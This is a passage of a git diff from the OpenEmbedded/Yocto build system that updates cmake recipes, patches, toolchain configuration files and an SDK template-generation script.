+ file://Utilities/cmlibarchive/COPYING;md5=d499814247adaee08d88080841cb5665 \
+ file://Utilities/cmexpat/COPYING;md5=9e2ce3b3c4c0f2670883a23bbd7c37a9 \
+ file://Utilities/cmlibrhash/COPYING;md5=a8c2a557a5c53b1c12cddbee98c099af \
+ file://Utilities/cmlibuv/LICENSE;md5=ad93ca1fffe931537fcf64f6fcce084d \
+ file://Utilities/cmcurl/COPYING;md5=db8448a1e43eb2125f7740fc397db1f6 \
+"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CMAKE_EXTRACONF = "\
+ -DCMAKE_LIBRARY_PATH=${STAGING_LIBDIR_NATIVE} \
+ -DBUILD_CursesDialog=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_CPPDAP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBARCHIVE=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_EXPAT=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_CURL=0 \
+ -DENABLE_ACL=0 -DHAVE_ACL_LIBACL_H=0 \
+ -DHAVE_SYS_ACL_H=0 \
+"
+
+do_configure () {
+ ${S}/bootstrap --verbose --prefix=${prefix} \
+ ${@oe.utils.parallel_make_argument(d, '--parallel=%d')} \
+ ${@bb.utils.contains('CCACHE', 'ccache ', '--enable-ccache', '', d)} \
+ -- ${CMAKE_EXTRACONF}
+}
+
+do_compile() {
+ oe_runmake
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ # The following codes are here because eSDK needs to provide compatibilty
+ # for SDK. That is, eSDK could also be used like traditional SDK.
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+ mkdir -p ${D}${base_prefix}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${base_prefix}/environment-setup.d/cmake.sh
+
+ # Help docs create tons of files in the native sysroot and aren't needed there
+ rm -rf ${D}${datadir}/cmake-*/Help
+}
+
+do_compile[progress] = "percent"
+
+SYSROOT_DIRS_NATIVE += "${datadir}/cmake ${base_prefix}/environment-setup.d"
diff --git a/meta/recipes-devtools/cmake/cmake.inc b/meta/recipes-devtools/cmake/cmake.inc
index 7f0307c15b..ab9f459c05 100644
--- a/meta/recipes-devtools/cmake/cmake.inc
+++ b/meta/recipes-devtools/cmake/cmake.inc
@@ -10,18 +10,17 @@ HOMEPAGE = "http://www.cmake.org/"
BUGTRACKER = "http://public.kitware.com/Bug/my_view_page.php"
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://Copyright.txt;md5=c721f56fce89ba2eadc2fdd8ba1f4d83 \
- file://Source/cmake.h;beginline=1;endline=3;md5=4494dee184212fc89c469c3acd555a14 \
+LIC_FILES_CHKSUM = "file://Copyright.txt;md5=9d3d12c5f3b4c1f83650adcc65b59c06 \
+ file://Source/cmake.h;beginline=1;endline=2;md5=a5f70e1fef8614734eae0d62b4f5891b \
"
CMAKE_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
SRC_URI = "https://cmake.org/files/v${CMAKE_MAJOR_VERSION}/cmake-${PV}.tar.gz \
- file://0002-cmake-Prevent-the-detection-of-Qt5.patch \
- file://0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch \
- file://0004-Fail-silently-if-system-Qt-installation-is-broken.patch \
"
-SRC_URI[sha256sum] = "0bd60d512275dc9f6ef2a2865426a184642ceb3761794e6b65bff233b91d8c40"
+SRC_URI[sha256sum] = "72b7570e5c8593de6ac4ab433b73eab18c5fb328880460c86ce32608141ad5c1"
UPSTREAM_CHECK_REGEX = "cmake-(?P<pver>\d+(\.\d+)+)\.tar"
+
+CVE_STATUS[CVE-2016-10642] = "cpe-incorrect: This is specific to the npm package that installs cmake, so isn't relevant to OpenEmbedded"
diff --git a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch b/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
deleted file mode 100644
index f5c1a212f5..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From d4aa2dbdc69774ad668756586d59331ad215a2c6 Mon Sep 17 00:00:00 2001
-From: Cody P Schafer <dev@codyps.com>
-Date: Thu, 27 Apr 2017 11:35:05 -0400
-Subject: [PATCH] CMakeDetermineSystem: use oe environment vars to load default
- toolchain file in sdk
-
-Passing the toolchain by:
-
- - shell aliases does not work if cmake is called by a script
- - unconditionally by a wrapper script causes cmake to believe it is
- configuring things when it is not (for example, `cmake --build` breaks).
-
-The OE_CMAKE_TOOLCHAIN_FILE variable is only used as a default if no
-toolchain is explicitly specified.
-
-Setting the CMAKE_TOOLCHAIN_FILE cmake variable is marked as cached
-because '-D' options are cache entries themselves.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Cody P Schafer <dev@codyps.com>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Modules/CMakeDetermineSystem.cmake | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/Modules/CMakeDetermineSystem.cmake b/Modules/CMakeDetermineSystem.cmake
-index dc208c6..e0af4ca 100644
---- a/Modules/CMakeDetermineSystem.cmake
-+++ b/Modules/CMakeDetermineSystem.cmake
-@@ -81,6 +81,13 @@ else()
- endif()
- endif()
-
-+if(NOT DEFINED CMAKE_TOOLCHAIN_FILE)
-+ if(DEFINED ENV{OE_CMAKE_TOOLCHAIN_FILE})
-+ set(CMAKE_TOOLCHAIN_FILE "$ENV{OE_CMAKE_TOOLCHAIN_FILE}" CACHE FILEPATH "toolchain file")
-+ message(STATUS "Toolchain file defaulted to '${CMAKE_TOOLCHAIN_FILE}'")
-+ endif()
-+endif()
-+
- # if a toolchain file is used, the user wants to cross compile.
- # in this case read the toolchain file and keep the CMAKE_HOST_SYSTEM_*
- # variables around so they can be used in CMakeLists.txt.
diff --git a/meta/recipes-devtools/cmake/cmake/0001-CMakeLists.txt-disable-USE_NGHTTP2.patch b/meta/recipes-devtools/cmake/cmake/0001-CMakeLists.txt-disable-USE_NGHTTP2.patch
new file mode 100644
index 0000000000..b2933d88be
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake/0001-CMakeLists.txt-disable-USE_NGHTTP2.patch
@@ -0,0 +1,35 @@
+From d33d8a5e9f3b25a80d47b72b1a8a6624a85563c1 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 28 Dec 2022 17:51:27 +0800
+Subject: [PATCH] CMakeLists.txt: disable USE_NGHTTP2
+
+nghttp2 depends on cmake-native to build, to break circular
+dependency, disable nghttp2.
+
+Upstream-Status: Inappropriate [oe specific]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+Adjust the patch to apply on top of v3.28.3.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ Utilities/cmcurl/CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Utilities/cmcurl/CMakeLists.txt b/Utilities/cmcurl/CMakeLists.txt
+index 9387247366..d3de01f4e8 100644
+--- a/Utilities/cmcurl/CMakeLists.txt
++++ b/Utilities/cmcurl/CMakeLists.txt
+@@ -88,7 +88,7 @@ set(HTTP_ONLY OFF CACHE INTERNAL "Curl is not http-only")
+ set(PICKY_COMPILER OFF CACHE INTERNAL "Enable picky compiler options")
+ set(SHARE_LIB_OBJECT OFF)
+ set(USE_LIBIDN2 ON)
+-set(USE_NGHTTP2 ON)
++set(USE_NGHTTP2 OFF)
+ set(USE_NGTCP2 OFF)
+ set(USE_QUICHE OFF)
+ set(USE_WIN32_IDN OFF)
+--
+2.43.0
+
diff --git a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch b/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
deleted file mode 100644
index cf1dda7c9b..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch
+++ /dev/null
@@ -1,122 +0,0 @@
-From 126994379ea75c8826874656bb55f955182ae911 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Wed, 17 Jan 2018 10:02:14 -0200
-Subject: [PATCH] cmake: Prevent the detection of Qt5
-
-Organization: O.S. Systems Software LTDA.
-
-CMake doesn't have dependency on qt4/qt5, so these tests usually fail
-but still can cause undeterministic results or build failures (when
-OE_QMAKE_PATH_EXTERNAL_HOST_BINS is undefined or native qmake removed
-while running the test in cmake)
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Source/QtDialog/CMakeLists.txt | 2 +-
- Tests/CMakeLists.txt | 2 +-
- Tests/Qt4And5Automoc/CMakeLists.txt | 4 ++--
- Tests/QtAutogen/AutogenGuiTest.cmake | 3 +--
- Tests/QtAutogen/MacOsFW/CMakeLists.txt | 2 +-
- Tests/RunCMake/CMakeLists.txt | 2 +-
- Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake | 2 +-
- 7 files changed, 8 insertions(+), 9 deletions(-)
-
-diff --git a/Source/QtDialog/CMakeLists.txt b/Source/QtDialog/CMakeLists.txt
-index 98dd0e2..252302b 100644
---- a/Source/QtDialog/CMakeLists.txt
-+++ b/Source/QtDialog/CMakeLists.txt
-@@ -3,7 +3,7 @@
-
- project(QtDialog)
- CMake_OPTIONAL_COMPONENT(cmake-gui)
--find_package(Qt5Widgets QUIET)
-+#find_package(Qt5Widgets QUIET)
- if (Qt5Widgets_FOUND)
- include_directories(${Qt5Widgets_INCLUDE_DIRS})
- add_definitions(${Qt5Widgets_DEFINITONS})
-diff --git a/Tests/CMakeLists.txt b/Tests/CMakeLists.txt
-index aff7383..e220503 100644
---- a/Tests/CMakeLists.txt
-+++ b/Tests/CMakeLists.txt
-@@ -215,7 +215,7 @@ if(BUILD_TESTING)
- set(CMake_TEST_Qt5 1)
- endif()
- if(CMake_TEST_Qt5)
-- find_package(Qt5Widgets QUIET NO_MODULE)
-+ #find_package(Qt5Widgets QUIET NO_MODULE)
- endif()
-
- if(NOT CMake_TEST_EXTERNAL_CMAKE)
-diff --git a/Tests/Qt4And5Automoc/CMakeLists.txt b/Tests/Qt4And5Automoc/CMakeLists.txt
-index ad74961..a9dd74b 100644
---- a/Tests/Qt4And5Automoc/CMakeLists.txt
-+++ b/Tests/Qt4And5Automoc/CMakeLists.txt
-@@ -3,11 +3,11 @@ cmake_minimum_required(VERSION 2.8.12)
- project(Qt4And5Automoc)
-
- if (QT_REVERSE_FIND_ORDER)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- find_package(Qt4 REQUIRED)
- else()
- find_package(Qt4 REQUIRED)
-- find_package(Qt5Core REQUIRED)
-+ #find_package(Qt5Core REQUIRED)
- endif()
-
- set(CMAKE_AUTOMOC ON)
-diff --git a/Tests/QtAutogen/AutogenGuiTest.cmake b/Tests/QtAutogen/AutogenGuiTest.cmake
-index b76d341..a6e0acb 100644
---- a/Tests/QtAutogen/AutogenGuiTest.cmake
-+++ b/Tests/QtAutogen/AutogenGuiTest.cmake
-@@ -22,8 +22,7 @@ if (QT_TEST_VERSION EQUAL 4)
- endmacro()
-
- elseif(QT_TEST_VERSION EQUAL 5)
--
-- find_package(Qt5Widgets REQUIRED)
-+ #find_package(Qt5Widgets REQUIRED)
-
- set(QT_QTCORE_TARGET Qt5::Core)
- set(QT_LIBRARIES Qt5::Widgets)
-diff --git a/Tests/QtAutogen/MacOsFW/CMakeLists.txt b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-index c08efc4..87e25d9 100644
---- a/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-+++ b/Tests/QtAutogen/MacOsFW/CMakeLists.txt
-@@ -2,7 +2,7 @@ cmake_minimum_required(VERSION 3.10)
- project(MacOsFW)
- include("../AutogenGuiTest.cmake")
-
--find_package(Qt5Test REQUIRED)
-+#find_package(Qt5Test REQUIRED)
-
- set(CMAKE_CXX_STANDARD 11)
- set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/output/bin)
-diff --git a/Tests/RunCMake/CMakeLists.txt b/Tests/RunCMake/CMakeLists.txt
-index e9f8bca..3a2da34 100644
---- a/Tests/RunCMake/CMakeLists.txt
-+++ b/Tests/RunCMake/CMakeLists.txt
-@@ -396,7 +396,7 @@ else()
- endif()
-
- find_package(Qt4 QUIET)
--find_package(Qt5Core QUIET)
-+#find_package(Qt5Core QUIET)
- if (QT4_FOUND AND Qt5Core_FOUND AND NOT Qt5Core_VERSION VERSION_LESS 5.1.0)
- add_RunCMake_test(IncompatibleQt)
- endif()
-diff --git a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-index 4fccdc4..b76e1e5 100644
---- a/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-+++ b/Tests/RunCMake/IncompatibleQt/IncompatibleQt.cmake
-@@ -1,6 +1,6 @@
-
- find_package(Qt4 REQUIRED)
--find_package(Qt5Core REQUIRED)
-+#find_package(Qt5Core REQUIRED)
-
- add_executable(mainexe main.cpp)
- target_link_libraries(mainexe Qt4::QtCore Qt5::Core)
diff --git a/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch b/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch
deleted file mode 100644
index e30dc51e4a..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From e528861023bf69df0ad061a59fd4e527c9dde1ce Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Thu, 12 May 2011 15:36:03 +0000
-Subject: [PATCH] cmake: support OpenEmbedded Qt4 tool binary names
-
-The FindQt4 module looks for Qt4 binaries to be able to gather the
-paths used for compilation and also to be using during other processes
-(translation update, translation binary generating and like) however
-OpenEmbedded has renamed those to allow old QMake to be used in
-parallel with the current one. This patch adds support for the
-OpenEmbedded specific binary names.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
-The patch was slightly adapted in order to match cmake 3.2.2:
-Instead of find_program, _find_qt4_program is now used.
-
-Signed-off-by: Moritz Blume <moritz.blume@bmw-carit.de>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Modules/FindQt4.cmake | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/Modules/FindQt4.cmake b/Modules/FindQt4.cmake
-index 3993968..b2a8585 100644
---- a/Modules/FindQt4.cmake
-+++ b/Modules/FindQt4.cmake
-@@ -518,7 +518,7 @@ endfunction()
-
- set(QT4_INSTALLED_VERSION_TOO_OLD FALSE)
-
--set(_QT4_QMAKE_NAMES qmake qmake4 qmake-qt4 qmake-mac)
-+set(_QT4_QMAKE_NAMES qmake qmake2 qmake4 qmake-qt4 qmake-mac)
- _qt4_find_qmake("${_QT4_QMAKE_NAMES}" QT_QMAKE_EXECUTABLE QTVERSION)
-
- if (QT_QMAKE_EXECUTABLE AND
-@@ -1136,12 +1136,12 @@ if (QT_QMAKE_EXECUTABLE AND
- _find_qt4_program(QT_MOC_EXECUTABLE Qt4::moc moc-qt4 moc4 moc)
- _find_qt4_program(QT_UIC_EXECUTABLE Qt4::uic uic-qt4 uic4 uic)
- _find_qt4_program(QT_UIC3_EXECUTABLE Qt4::uic3 uic3)
-- _find_qt4_program(QT_RCC_EXECUTABLE Qt4::rcc rcc)
-- _find_qt4_program(QT_DBUSCPP2XML_EXECUTABLE Qt4::qdbuscpp2xml qdbuscpp2xml)
-- _find_qt4_program(QT_DBUSXML2CPP_EXECUTABLE Qt4::qdbusxml2cpp qdbusxml2cpp)
-+ _find_qt4_program(QT_RCC_EXECUTABLE Qt4::rcc rcc4 rcc)
-+ _find_qt4_program(QT_DBUSCPP2XML_EXECUTABLE Qt4::qdbuscpp2xml qdbuscpp2xml4 qdbuscpp2xml)
-+ _find_qt4_program(QT_DBUSXML2CPP_EXECUTABLE Qt4::qdbusxml2cpp qdbusxml2cpp4 qdbusxml2cpp)
- _find_qt4_program(QT_LUPDATE_EXECUTABLE Qt4::lupdate lupdate-qt4 lupdate4 lupdate)
- _find_qt4_program(QT_LRELEASE_EXECUTABLE Qt4::lrelease lrelease-qt4 lrelease4 lrelease)
-- _find_qt4_program(QT_QCOLLECTIONGENERATOR_EXECUTABLE Qt4::qcollectiongenerator qcollectiongenerator-qt4 qcollectiongenerator)
-+ _find_qt4_program(QT_QCOLLECTIONGENERATOR_EXECUTABLE Qt4::qcollectiongenerator qcollectiongenerator-qt4 qcollectiongenerator qcollectiongenerator4)
- _find_qt4_program(QT_DESIGNER_EXECUTABLE Qt4::designer designer-qt4 designer4 designer)
- _find_qt4_program(QT_LINGUIST_EXECUTABLE Qt4::linguist linguist-qt4 linguist4 linguist)
-
diff --git a/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch b/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch
deleted file mode 100644
index 48f43be837..0000000000
--- a/meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-From b0aeca35187983e22ec256a439cff4702dbde331 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Thu, 5 Jul 2018 10:26:48 -0300
-Subject: [PATCH] Fail silently if system Qt installation is broken
-
-Fixes a regression in behaviour from 2.8.10 to 2.8.11 resulting in the
-following error if the system Qt installation is broken:
-
-CMake Error at Modules/FindQt4.cmake:1028 (set_property):
- set_property could not find TARGET Qt4::QtCore. Perhaps it has not yet
- been created.
-Call Stack (most recent call first):
- Tests/RunCMake/CMakeLists.txt:79 (find_package)
-
-Upstream-Status: Pending
-
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-
-The patch was slightly adapted in order to match cmake 3.2.2:
-Another set_property was introduced which had to be included
-within the if(QT_QTCORE_FOUND) statement.
-
-Signed-off-by: Moritz Blume <moritz.blume@bmw-carit.de>
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
-
----
- Modules/FindQt4.cmake | 39 ++++++++++++++++++++-------------------
- 1 file changed, 20 insertions(+), 19 deletions(-)
-
-diff --git a/Modules/FindQt4.cmake b/Modules/FindQt4.cmake
-index b2a8585..77c89aa 100644
---- a/Modules/FindQt4.cmake
-+++ b/Modules/FindQt4.cmake
-@@ -988,25 +988,26 @@ if (QT_QMAKE_EXECUTABLE AND
- endif()
- endmacro()
-
--
-- # Set QT_xyz_LIBRARY variable and add
-- # library include path to QT_INCLUDES
-- _QT4_ADJUST_LIB_VARS(QtCore)
-- set_property(TARGET Qt4::QtCore APPEND PROPERTY
-- INTERFACE_INCLUDE_DIRECTORIES
-- "${QT_MKSPECS_DIR}/default"
-- ${QT_INCLUDE_DIR}
-- )
-- set_property(TARGET Qt4::QtCore APPEND PROPERTY
-- INTERFACE_COMPILE_DEFINITIONS
-- $<$<NOT:$<CONFIG:Debug>>:QT_NO_DEBUG>
-- )
-- set_property(TARGET Qt4::QtCore PROPERTY
-- INTERFACE_QT_MAJOR_VERSION 4
-- )
-- set_property(TARGET Qt4::QtCore APPEND PROPERTY
-- COMPATIBLE_INTERFACE_STRING QT_MAJOR_VERSION
-- )
-+ if(QT_QTCORE_FOUND)
-+ # Set QT_xyz_LIBRARY variable and add
-+ # library include path to QT_INCLUDES
-+ _QT4_ADJUST_LIB_VARS(QtCore)
-+ set_property(TARGET Qt4::QtCore APPEND PROPERTY
-+ INTERFACE_INCLUDE_DIRECTORIES
-+ "${QT_MKSPECS_DIR}/default"
-+ ${QT_INCLUDE_DIR}
-+ )
-+ set_property(TARGET Qt4::QtCore APPEND PROPERTY
-+ INTERFACE_COMPILE_DEFINITIONS
-+ $<$<NOT:$<CONFIG:Debug>>:QT_NO_DEBUG>
-+ )
-+ set_property(TARGET Qt4::QtCore PROPERTY
-+ INTERFACE_QT_MAJOR_VERSION 4
-+ )
-+ set_property(TARGET Qt4::QtCore APPEND PROPERTY
-+ COMPATIBLE_INTERFACE_STRING QT_MAJOR_VERSION
-+ )
-+ endif()
-
- foreach(QT_MODULE ${QT_MODULES})
- _QT4_ADJUST_LIB_VARS(${QT_MODULE})
diff --git a/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch b/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
index ad42d409d9..d6f7308fe0 100644
--- a/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
+++ b/meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch
@@ -1,7 +1,8 @@
-From 0df8d46d14c371f21c327966a553c4c187a8acfe Mon Sep 17 00:00:00 2001
+From fd9a04c1434e12f21c043385e306e0b52d38d749 Mon Sep 17 00:00:00 2001
From: Otavio Salvador <otavio@ossystems.com.br>
Date: Thu, 5 Jul 2018 10:28:04 -0300
-Subject: [PATCH 5/5] Disable use of ext2fs/ext2_fs.h by cmake's internal
+Subject: [PATCH] Disable use of ext2fs/ext2_fs.h by cmake's internal
+
libarchive copy
Organization: O.S. Systems Software LTDA.
@@ -12,15 +13,16 @@ Upstream-Status: Inappropriate [config]
Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
+
---
Utilities/cmlibarchive/CMakeLists.txt | 8 ++------
1 file changed, 2 insertions(+), 6 deletions(-)
diff --git a/Utilities/cmlibarchive/CMakeLists.txt b/Utilities/cmlibarchive/CMakeLists.txt
-index 206f3c6a5..642fb0dd9 100644
+index bfcaf30..2960683 100644
--- a/Utilities/cmlibarchive/CMakeLists.txt
+++ b/Utilities/cmlibarchive/CMakeLists.txt
-@@ -430,12 +430,8 @@ LA_CHECK_INCLUDE_FILE("copyfile.h" HAVE_COPYFILE_H)
+@@ -682,12 +682,8 @@ LA_CHECK_INCLUDE_FILE("copyfile.h" HAVE_COPYFILE_H)
LA_CHECK_INCLUDE_FILE("direct.h" HAVE_DIRECT_H)
LA_CHECK_INCLUDE_FILE("dlfcn.h" HAVE_DLFCN_H)
LA_CHECK_INCLUDE_FILE("errno.h" HAVE_ERRNO_H)
@@ -34,7 +36,4 @@ index 206f3c6a5..642fb0dd9 100644
+SET(HAVE_WORKING_EXT2_IOC_GETFLAGS 0)
LA_CHECK_INCLUDE_FILE("fcntl.h" HAVE_FCNTL_H)
LA_CHECK_INCLUDE_FILE("grp.h" HAVE_GRP_H)
- LA_CHECK_INCLUDE_FILE("inttypes.h" HAVE_INTTYPES_H)
---
-2.18.0
-
+ LA_CHECK_INCLUDE_FILE("io.h" HAVE_IO_H)
diff --git a/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake b/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
index 8f6f3a272d..6434b27371 100644
--- a/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
+++ b/meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake
@@ -1,8 +1,6 @@
set( CMAKE_SYSTEM_NAME Linux )
set( CMAKE_C_FLAGS $ENV{CFLAGS} CACHE STRING "" FORCE )
set( CMAKE_CXX_FLAGS $ENV{CXXFLAGS} CACHE STRING "" FORCE )
-set( CMAKE_ASM_FLAGS ${CMAKE_C_FLAGS} CACHE STRING "" FORCE )
-set( CMAKE_LDFLAGS_FLAGS ${CMAKE_CXX_FLAGS} CACHE STRING "" FORCE )
set( CMAKE_SYSROOT $ENV{OECORE_TARGET_SYSROOT} )
set( CMAKE_FIND_ROOT_PATH $ENV{OECORE_TARGET_SYSROOT} )
@@ -13,13 +11,13 @@ set( CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )
set(CMAKE_FIND_LIBRARY_CUSTOM_LIB_SUFFIX "$ENV{OE_CMAKE_FIND_LIBRARY_CUSTOM_LIB_SUFFIX}")
-# Set CMAKE_SYSTEM_PROCESSOR from the sysroot name (assuming processor-distro-os).
-if ($ENV{SDKTARGETSYSROOT} MATCHES "/sysroots/([a-zA-Z0-9_-]+)-.+-.+")
- set(CMAKE_SYSTEM_PROCESSOR ${CMAKE_MATCH_1})
-endif()
+set( CMAKE_SYSTEM_PROCESSOR $ENV{OECORE_TARGET_ARCH} )
# Include the toolchain configuration subscripts
file( GLOB toolchain_config_files "${CMAKE_CURRENT_LIST_FILE}.d/*.cmake" )
foreach(config ${toolchain_config_files})
include(${config})
endforeach()
+
+unset(CMAKE_C_IMPLICIT_INCLUDE_DIRECTORIES)
+unset(CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES)
diff --git a/meta/recipes-devtools/cmake/cmake/SDKToolchainConfig.cmake.template b/meta/recipes-devtools/cmake/cmake/SDKToolchainConfig.cmake.template
new file mode 100644
index 0000000000..c69569a843
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake/SDKToolchainConfig.cmake.template
@@ -0,0 +1,31 @@
+set(SDK_INSTALL_DIR "${CMAKE_CURRENT_LIST_DIR}/../../../../..")
+set(HOST_SYSROOT "${SDK_INSTALL_DIR}/sysroots/@OECORE_SDK_SYS")
+set(TARGET_SYSROOT "${SDK_INSTALL_DIR}/sysroots/@OECORE_TARGET_SYS")
+set(HOST_BIN "${HOST_SYSROOT}/usr/bin")
+set(TOOLCHAIN_NAME "@OECORE_TARGET_ALIAS")
+set(GCC_DIR "${HOST_BIN}/${TOOLCHAIN_NAME}")
+
+set(CMAKE_SYSTEM_NAME Linux)
+set(CMAKE_SYSTEM_PROCESSOR "@OECORE_TARGET_ARCH")
+
+set(CMAKE_C_COMPILER "${GCC_DIR}/${TOOLCHAIN_NAME}-gcc")
+set(CMAKE_CXX_COMPILER "${GCC_DIR}/${TOOLCHAIN_NAME}-g++")
+
+set(ARCH_FLAGS "@OECORE_TUNE_CCARGS")
+set(CMAKE_C_FLAGS "${ARCH_FLAGS}" CACHE STRING "" FORCE )
+set(CMAKE_CXX_FLAGS "${ARCH_FLAGS}" CACHE STRING "" FORCE )
+set(CMAKE_ASM_FLAGS ${CMAKE_C_FLAGS} CACHE STRING "" FORCE )
+set(CMAKE_LDFLAGS_FLAGS ${CMAKE_C_FLAGS} CACHE STRING "" FORCE )
+
+set(CMAKE_SYSROOT "${TARGET_SYSROOT}")
+
+set(CMAKE_FIND_ROOT_PATH "${TARGET_SYSROOT}" )
+
+set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER )
+set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY )
+set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY )
+set(CMAKE_FIND_ROOT_PATH_MODE_PACKAGE ONLY )
+
+set(CMAKE_FIND_LIBRARY_CUSTOM_LIB_SUFFIX "")
+
+set(CMAKE_PROGRAM_PATH "${HOST_SYSROOT}/usr/bin" CACHE STRING "" FORCE)
diff --git a/meta/recipes-devtools/cmake/cmake/cmake-setup.py b/meta/recipes-devtools/cmake/cmake/cmake-setup.py
new file mode 100755
index 0000000000..af587a44cc
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake/cmake-setup.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python3
+
+import os
+import string
+import sys
+
+class Template(string.Template):
+ delimiter = "@"
+
+class Environ():
+ def __getitem__(self, name):
+ if name == "OECORE_SDK_SYS":
+ return os.path.basename(os.environ["OECORE_NATIVE_SYSROOT"])
+ elif name == "OECORE_TARGET_SYS":
+ return os.path.basename(os.environ["OECORE_TARGET_SYSROOT"])
+ elif name == "OECORE_TARGET_ALIAS":
+ return os.path.basename(os.environ["TARGET_PREFIX"].strip("-"))
+ else:
+ return os.environ[name]
+
+try:
+ sysroot = os.environ['OECORE_NATIVE_SYSROOT']
+except KeyError:
+ print("Not in environment setup, bailing")
+ sys.exit(1)
+
+template_file = os.path.join(sysroot, 'usr/share/cmake/SDKToolchainConfig.cmake.template')
+cross_file = os.path.join(sysroot, 'usr/share/cmake/%s-toolchain.cmake' % (os.path.basename(os.environ["OECORE_TARGET_SYSROOT"])))
+with open(template_file) as in_file:
+ template = in_file.read()
+ output = Template(template).substitute(Environ())
+ with open(cross_file, "w") as out_file:
+ out_file.write(output)
diff --git a/meta/recipes-devtools/cmake/cmake/environment.d-cmake.sh b/meta/recipes-devtools/cmake/cmake/environment.d-cmake.sh
index 7bdb19fb6c..c94b6bb3e3 100644
--- a/meta/recipes-devtools/cmake/cmake/environment.d-cmake.sh
+++ b/meta/recipes-devtools/cmake/cmake/environment.d-cmake.sh
